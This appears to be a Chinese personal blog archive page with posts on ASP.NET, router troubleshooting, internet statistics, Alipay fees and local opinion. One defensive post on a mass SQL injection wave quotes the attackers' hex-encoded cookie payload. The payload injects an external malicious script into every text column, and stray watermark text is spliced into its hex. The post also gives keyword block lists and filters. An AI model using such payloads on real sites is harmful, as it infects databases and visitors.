怎么判断executeScalar的返回是不是空值

2009年2月19日

返回值
类型:System..::.Object

结果集中第一行的第一列;如果结果集为空,则为空引用(在 Visual Basic 中为 Nothing)。

object result = dbCommand.ExecuteScalar();
if( result == null )
{
//结果为空…
}

热点关注

从三亿网民的统计数据 看网络09年发展趋势

2009年1月15日

  中国互联网络信息中心昨日发布的《第23次中国互联网络发展状况统计报告》显示,截至2008年底,我国网民数达2.98亿,权威的国家部门发布的统计数据上来看,目前中国的互联网发展还是呈现以下几个特点:

  一.发展并未饱和

  二.发展速度并未减缓

  三.互联网商业潜力巨大

  中国十几亿人,虽然有大部分在农村,但是目前随着电力系统村村到户,宽带业务快速普及,至少一部分农村上网已经有了较大成效,而且大量农民工进城务工后的下一代已经成长,使得中国网民在数量上又有新突破的潜力,而城市90后的成熟以及大量4~50岁年长网民的大量出现,使得09年中国实际网民的数量可能会突破市场预期。

  08年初中国的上网人数就已经超过了2亿,而在08年底的统计报告中,又将这一数量提升了将近50%,可以看到,虽然08年底的经济危机对于中国经济有较大影响,但并未改变中国网络的快速发展,可以说中国网络尤其是中国网民的增加,在一定程度上能够帮助中国较快的走出经济危机的困境。

  随着大量新鲜血液的快速加入,使得本来以为饱和的中国互联网商业模式,又有了新的发展可能,电子商务,网络游戏等等需要大基数群众参与的项目,在09年将更快的得到发展,而网络订票,网络组团,玩乐,订票,区域性社区,行业性网站等特殊群体商业模式,也因为互联网逐步深入人心,相对人群不断增多而得到进一步发展。

  网民的增加加大了整个行业的需求增加,就连网站数量都要随着网民的增加而不断的发展,国内最大的网站交易平台admin5站长网工作人员就透露,08年底的新增个人网站数量呈现明显增长趋势,而网站交易行为更比往年有成倍增长,这不仅仅代表着个人网站在中国互联网经济中的显著作用,更看得出网民数量的增加,带给中国个人站长良好的发展契机。

  三亿网民代表的不仅仅是流量,更不仅仅是政绩数字,而是实实在在的真金白银,在09年普遍传统经济持续低迷的前景预测下,将企业业务重心逐步转移到电子商务及网络发展上,随着网民数目的进一步增多,一定会收到意想不到的新效果。

热点关注 , , , ,

ASP+MSSQL2000,数据库被批量注入了

2009年1月15日

这阵子,采用ASP+MSSQL设计的很多网站可能遭遇到sql数据库被挂马者插入JS木马的经历;这不,朋友的一个网站就被黑客忽悠了一把,mssql的每个varchar、text字段都被自动插入一段js代码,即使删除这段代码,如果没有从源头上解决,几分钟后,js代码就又会自动插入数据库。

经过飘易的观察,这很有可能是程序自动执行的,黑客先从搜索引擎google、百度等搜索存在漏洞的采用asp+mssql设计的网站,然后采用小明子这样的注入扫描工具,扫描整个网站,一旦发现有sql注入的漏洞或者上传漏洞,黑客就通过各种手段,上传自己的大马,如海阳木马;然后,黑客就把这个网站纳入他的肉鸡列表,随时在数据库里加入自己希望加的js代码,而这些代码往往是包含着众多的的病毒、木马,最终让访问受控网站的用户的电脑中毒。

虽然,可以通过sql查询分析器执行批量代换,暂时解决被插入的js代码问题,然而不从根本上解决整个网站存在的漏洞,包括程序上和服务器安全权限,那么黑客还是随时可以入侵你的网站数据库。

在sql查询分析器里可以执行以下的代码批量替换js代码:


update 表名 set 字段名=replace(字段名,’‘,”) ”

flymorn仔细检查了网站,发现网站存在几个安全问题:

第一,网站存在上传漏洞;虽然,上传文件需要管理员身份验证,也对上传文件进行了文件格式的认证,但管理员身份验证采用了cookies,而cookies是可以被伪造的,而且如果上传了图片后,不对该文件的内容采取任何判断的话,那么图片木马也很有可能被上传。

解决措施:1 删除上传文件功能(不太实际);2 修改上传用户验证为session验证;3 对上传后的文件内容进行验证,如果是图片木马,则删除;可以参考以下的验证代码:

”===============判断上传文件是否含非法字符串start================
set MyFile = server.CreateObject(”Scripting.FileSystemObject”)
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) ‘读取文本文件
sTextAll = lcase(MyText.ReadAll)
MyText.close
set MyFile = nothing
sStr=”<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="
sNoString = split(sStr,"|")
for i=0 to ubound(sNoString)
if instr(sTextAll,sNoString(i)) then
set filedel = server.CreateObject("Scripting.FileSystemObject")
filedel.deletefile Server.mappath(filePath)
set filedel = nothing
Response.Write("“)
Response.End
end if
next
”=================判断上传文件是否含非法字符串end===================

第二,网站存在cookies注入漏洞。由于程序设计中,为了考虑到减小服务器的开销,所有用户登陆后采用cookies验证,这个cookies里保存了用户的 ID 和 NAME ,而众所周知,cookies是经常被黑客伪造的,这是其一;另外,某些外部参数 没有采用严格的 request.form 和 request.querystring 来获取内容,为了简便,采用了 request(”id”) 这样的方式。

我们知道,ASP 的request 是先从form、querystring里获取内容,如果这两个为空,则要从cookies里获取内容,大家往往在程序设计中考虑到了 request.form 和 request.querystring 的SQL注入,所以一般都会过滤 request.form 和 request.querystring进行sql注入;但却偏偏忘了过滤cookies方式下的注入。我们来看下下面这样的sql语句:

SQL=”select * from 表名 where id=”&request(”id”)

如果这个 id 恰巧是通过cookies来获取值的,那么想想,这是一件多么可怕的事啊!注入者可以轻松的伪造一个名为 id 的虚假 cookies ,因为这个 id 的cookies 是服务器分配给它的。这个cookies可以被伪造成类似下面这样的一段代码:

dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0×6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT人才网(http://it.ad0.cn) 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694www.ad0.cn43d622e6
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);–

看晕了吧。这是利用HEX的方式进行SQL注入,可以绕过一般的IDS验证,只要系统存在SQL注入,上面的代码将会被执行,通过游标遍历数据库中的所有表和列并在列中插入js代码。

解决办法:1 严格过滤 request.form 和 request.querystring 获取的内容,坚决不用 request(”name”) 这样的方式获取值,凡是采用 cookies 保存的内容,尽量不要用在sql语句里进行查询数据库操作;2 重要的用户资料尽量采用 session 验证,因为session是服务器端的,客户端无法伪造数据,除非他有你服务器的权限。

可以采用以下的防范 get 、post以及cookies 注入的代码来过滤 sql 注入攻击:

<%
Response.Buffer = True '缓存页面
'防范get注入
If Request.QueryString <> “” Then StopInjection(Request.QueryString)
‘防范post注入
If Request.Form <> “” Then StopInjection(Request.Form)
‘防范cookies注入
If Request.Cookies <> “” Then StopInjection(Request.Cookies)

‘正则子函数
Function StopInjection(Values)
Dim regEx
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = “‘|;|#|([\s\b+()]+([email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)[/s/b]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b[/email]+]*)”
Dim sItem, sValue
For Each sItem In Values
sValue = Values(sItem)
If regEx.Test(sValue) Then
Response.Write “
Response.End
End If
Next
Set regEx = Nothing
End function
%>

把以上的代码另存为一个文件,如 antisql.asp ,然后在数据库连接文件开头包含这个文件 ,就可以实现全站的防范 sql 注入的攻击了。

第三,严格过滤外部提交数据。判断提交页面的来源,如果不是当前站点,则拒绝提交。可以参考以下的代码,虽然来源网址可以伪造,但有这样的判断,毕竟可以阻挡那些没有技术含量的恶意提交:

<%''判断来源,禁止外部提交
dim server_v1,server_v2
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if server_v1="" or instr(server_v1,"发表页面名")<=0 or mid(server_v1,8,len(server_v2))<>server_v2 then
response.write “
response.end
end if%>

第四,做好服务器权限的分配。对于数据库的权限,尽量分配最小的权限给用户使用,如果把sa或管理员的权限分下来,一旦被攻击沦陷,这将是一个毁灭性的打击。mssql 的1433端口,飘易建议不用的时候,最好关闭。

总之,安全问题是一个综合的问题,一个小的细节,可能让你的几个月甚至几年的心血付之东流。我们不仅要从程序上着手每个细节,而且要仔细做好服务器的安全工作,对于虚拟主机的用户,还要防范服务器上的跨站攻击。细节决定成败。

网络技术

.ascx和.ashx文件说明

2009年1月6日

.ascx文件

 

其实它就是用户自定义控件,最大的优点是提取多个页面的公用功能,然后在需要的页面引用它,提高了代码的重用性

使用方法如下:

在你的ASCX文件中写HTML代码,在ASCX.CS文件中写后台逻辑。
在你要引用ASCX文件的ASPX页面头部加上:

 

<%@ Register TagPrefix=”uc” TagName=”ucSample” Src=”ASCX文件在项目中的相对路径” %> 

 

在需要用到ASCX文件的地方加入:

 

<uc:ucSample ID=”uc1″ runat=”server” />

 

就可以了。

以后你直接在ASCX文件和ASCX.cs文件里改代码就可以了。

ASPX里面只要保留最基本的HTML元素就可以了,一个页面可以由多个用户控件(也就是ASCX)组成。

在ASCX里面写代码的意义就是可以更灵活开发,而且可以更好的代码复用。你可以开发几个通用的用户控件,就和.net提供的那些控件一样,灵活的放到你用到的各个页面里。而且以后维护的时候只要更改你的一处代码就可以了。

 

.ashx文件

ashx是用于写web handler的,一般用来处理生成动态图片、 生成动态文本等不需要回传处理的任务。

配合xmlhttp使用就可以构建一个简单的ajax效果了!
下面是一个ashx的示例:

 

<% @ webhandler language=”C#” class=”AverageHandler” %> 
using System; 
using System.Web; 
public class AverageHandler : IHttpHandler 

      public bool IsReusable 
      { 
           get { return true; } 
      } 
      public void ProcessRequest(HttpContext ctx) 
      { 
           ctx.Response.Write(”hello”); 
      } 
}

 

注:IsReusable 属性是必须的

网络技术

路由器导致无法上网解决方案

2009年1月4日

故障1:无法拨号上网

故障现象:不能通过正常的拨号进入互联网。

故障原因:路由器的地址设置有误。

解决方法:启动IE浏览器,在地址栏中输入“192.168.16.1”,系统会提示要求输入登录用户名和密码,登录进入路由器管理界面后,找到“连接类型”,重新设置拨号用户名和密码即可。
小提示:如果是有线通的宽带,在更换路由器连接的计算机时,要将路由器先断电后再重新连接。

故障2:局域内有一部分计算机能上网

故障现象:局域网内只有一部分计算机能上网,另一部分不能上网。

故障原因:由于局域网内有一部分计算机可以上网,所以基本判定路由器硬件没问题。如果计算机确实没有问题,但却不能连接进入互联网,这是因为ISP限制了局域网内计算机接入互联网的用户数。限制方法是在认证服务器上对部分计算机的MAC地址进行绑定,没有绑定的用户就不能正常上网了。

解决方法:用一根网线将已绑定MAC地址的计算机与路由器的LAN端口相连,注意这时路由器先不要连接Modem的连线;再利用路由器的MAC地址克隆功能,将网卡的MAC地址绑定到宽带路由器中,具体方法参见知识补充;最后,查看未被绑定的计算机MAC地址并绑定。单击“开始/运行”,输入“cmd/k ipconfig /all”,其中“Physical Address”是本机的MAC地址。

故障3:网页打不开

故障现象:能正常登录QQ,但无法打开网页。

故障原因:一般情况下,能登录QQ说明网络连接没有问题,但无法打开网页,则说明可能是计算机中的DNS解析有问题。

解决方法:手动设置计算机上网卡对应TCP/IP地址中的DNS服务器地址(见前二、单机设置),和路由器设置中的DNS服务器地址。手机设置路由器管理界面的DNS服务器方法:登录路由器管理界面以后,单击“网络参数/WAN口参数”,在其下手动设置,有的路由器设置在“DHCP服务”选项下设置DNS服务器地址。

故障4:不能进入路由器设置界面

故障现象:在IE浏览器地址中输入路由器管理界面地址,在弹出的对话框中输入说明书中默认的登录用户名和密码,但却提示出错,无法进入管理界面。

故障原因:可能是路由器硬件连接有错。

解决方法:按照以下顺序检查路由器的连接,检查路由器与计算机的连接是否正确,路由器上LAN口上的指示灯显示是否正常。如果能确认硬件连接都是正确的,且路由器也是好的,那么可以启动IE浏览器,单击“工具/Internet选项”,选中“从不进行拨号连接”,单击“局域网设置”按钮,取消所有曾被选中的选项。

电脑技术 ,

对瓯江高速公路特大桥进入温州市中心说”不”

2009年1月4日

想当初,从报上看到说要建市区到瓯北的过江通道,拟建隧道,不禁为之欢呼.因为过江通道的建成,不仅使瓯江两岸的居民往来更加方便,而且能够有效地促进温州的经济发展.
   
    然而后来过江通道建大桥的决定却让人高兴不起来.如今设计方案的公布使建桥成定局.
   
    我相信政府选择桥梁而不选隧道是通过很多专家的考察与论证的,相比于隧道,建桥梁自有造价较低,工期较短等优势,但是它的弊处却是远远多于好处的.建桥是一个非常短视的选择.
   

    首先,大桥的建设将影响到江心屿的景观.大江大河上的桥,无论其美丑,建成之后,因其高大突兀的形象,无不成为这一区域吸引目光的焦点,而这夺走了别人的光辉.众所周知,江心双塔是温州的标志,它们在温州市民心中虽说不上神圣,但是它们代表温州形象的地位至今仍无可取代.但是,越来越多的桥的建设破坏了江心屿的形象。这些庞然大物一旦建成,对比之下,使得本来就不高大的江心双塔显得更加渺小与卑微,与温州标志的地位就极不相称.如果温州的标志遭如此噩运,温州的整体形象也会被损害不小.我们要做的是使江心屿的形象高大化,而不是相反.
   

    第二,大桥的建设将使温州的滨江风光不再精彩.现在,从东瓯大桥到未来CBD杨府山,温州滨江形成了一条绵长的完整的城市景观带。这在全球的滨江城市当中都是十分少见的,而且随着CBD的不断建设,这条景观带将更加壮观!站在瓯北隔江相望,滨江就像一幅摊在眼前的画卷,连绵完整,有一种可望而不可及的距离美。这是温州城市景观的一大特色,温州大可以利用这一优势来做文章,发展旅游业,就像香港所做的那样。而桥的建成则毫不留情地破坏这幅景观的完整性,割裂画面,使得画面不再连续。我们可以想象一下在香港的维多利亚湾上或上海的陆家嘴与外滩之间建一座桥的景象会怎样,当然他们是绝不会这样做的.
   

    第三,大桥对附近居民的不利影响.瓯江过江通道拟建的桥属于特大桥,这种桥避免不了要造一段较长的高架桥作为引桥.建高架不仅带来拆迁问题,还有采光问题、噪声问题等直接导致附近居民生活质量下降。况且,大桥南端连接处属于温州闹市区,生活质量的下降将使附近地价贬值,商业萧条。正因为有如此多的弊病,现如今,高架桥受到越来越多的城市抵制.著名的如波士顿的大开挖工程(The Big Dig),他们将穿越城区的快捷干道”中央干线”(高架)埋入地下,还有韩国首都首尔,原本将清溪川填掉造清溪高架,后又把高架拆掉还原清溪川了.在国内,广州、上海也打算拆掉一部分高架桥,并宣布以后在城区内不会建新的高架。温州主城内现在还没有高架,这是一件非常值得庆幸的事。温州不能走别人走过的错误的路!

    修建隧道基本上不会出现以上问题
   
    第四,修建一条隧道,比建一座大桥更能让我们觉得自豪。温州的大桥的数量已经不少,也已经有像温州大桥等多座标志性大桥了,待建的跨江大桥形象上又没有太大区别,所以我们对桥的建设没有多大期待。而至今温州还没有一条水底隧道,这是一个缺憾。连接市中心与瓯北这两个经贸发达地方的这一过江通道是实现这一零的突破的理想选择处。大桥可以选择偏僻处,而隧道则不行。

    最后,温州是一个山水城市,城区山环水绕,风景秀丽.1700年前郭璞的规划使温州城区与自然风水很好地结合在一起,至今仍被视为山水城市的典范之一.而今,太多的所谓现代化建筑的建设使得温州的山水环境受到严重破坏,山水城市徒有虚名。政府早前喊出口号要打造“山水温州”,但实际却在背道而行。在选择隧道还是桥梁时,选择了与山水风光格格不入的后者,不能不令人遗憾。

    当大家都在讨论大桥该选哪种方案的时候,我却还在想是建桥好还是建隧道好,显得很不合时宜。但是,出于对温州的热爱和作为温州人的责任感,我还是忍不住要呼一呼。现在已是新的一年了,我不奢望能改变政府的决定,我只能希望他们在以后的工作中能够多一些远见,少一些急功近利,我也希望像你我这样的平民能多多关心温州的城市建设,让温州变得更好。

热点关注

支付宝1月1号对部分用户开始收取1.5%手续费

2008年12月31日

自2009年1月1日零时开始,支付宝(中国)网络技术有限公司(以下称“支付宝”)对在支付宝网站(www.alipay.com.cn)上使用“我要收款”、“我要付款”功能,及通过“阿里旺旺”使用“AA收款”功能(上述功能以下统称“指定功能”),生成收款或付款交易订单,并完成收款或付款的支付宝用户,按照支付宝账户的类型提供5000元等金额的免费交易流量,对实际交易金额超过该免费交易流量的,收取一定比例的服务费用。

 

具体收费细则以变更后的《支付宝服务协议》及其附件《支付宝服务收费规则》进行明确,其中主要内容包括:
        1、对于在淘宝网(www.taobao.com)等支付宝商家网站上直接使用支付宝服务完成的交易,不受本次《支付宝服务协议》变更的影响,相应的交易买家无需支付服务费用。
        2、支付宝用户以完成“支付宝认证”的认证账户使用指定功能完成相应交易的,在一个自然月内,该支付宝用户名下所有认证账户,可累计免费完成人民币5000(伍仟)元以内的交易流量。
        3、支付宝用户以未完成“支付宝认证”的非认证账户使用指定功能完成相应交易的,每一个非认证账户在完成“支付宝认证”前,可通过指定功能免费完成人民币500(伍佰)元的交易流量。
        4、支付宝用户直接登录支付宝网站使用指定功能,主动生成收款或付款交易订单所完成的交易金额超出以上5000元或500元的免费交易流量(以下称收费交易流量)的,超出部分需向支付宝支付超1.5%的服务费用,且单笔收费交易应支付的服务费用最低为人民币一元,最高为人民币一百元。其中,对于使用“我要收款”功能和“AA收款”功能完成收费交易流量的支付宝用户,服务费用在交易完成时直接从该支付宝用户应收取的交易款项中扣减,对于使用“我要付款”功能进行收费交易的支付宝用户,服务费用从该支付宝用户进行交易的支付宝账户余额中扣减,支付宝账户余额不足的,相应的收费交易将视为无效交易,无法完成。
       具体规则以《支付宝服务收费规则》(附件一)及《支付宝服务协议》(附件二)的约定为准。

附件一: 支付宝服务收费规则
附件二: 《支付宝服务协议》

热点关注 ,

开博了

2008年12月31日

2008年的最后一天,我决定开个真正属于自己的BLOG。

2008年经历了太多太多了,不过说真的我都有点记不起来了。

我不想忘记,也不想刻意去记住什么。

回顾这一年,经历了很多。

感情,家庭,工作,生活。。。

今后时日,我会在这一隅心灵静土的芳草地上,用拼凑的或快乐、或寂寞、或淡然、或张扬的心情文字,来弹奏一曲流淌在心灵家园的《高山流水》;用宠辱不惊,闲看庭前花开花落,去留无意,漫随天外云卷云舒的闲适来洗去尘欲私念,来恢弘一种淡泊的宁静致远的人生境界。

一隅一世界,一博一天堂!那么让我们在这一隅一博的相逢中更精彩吧!

希望2009年可以一切顺利。。。

生活随笔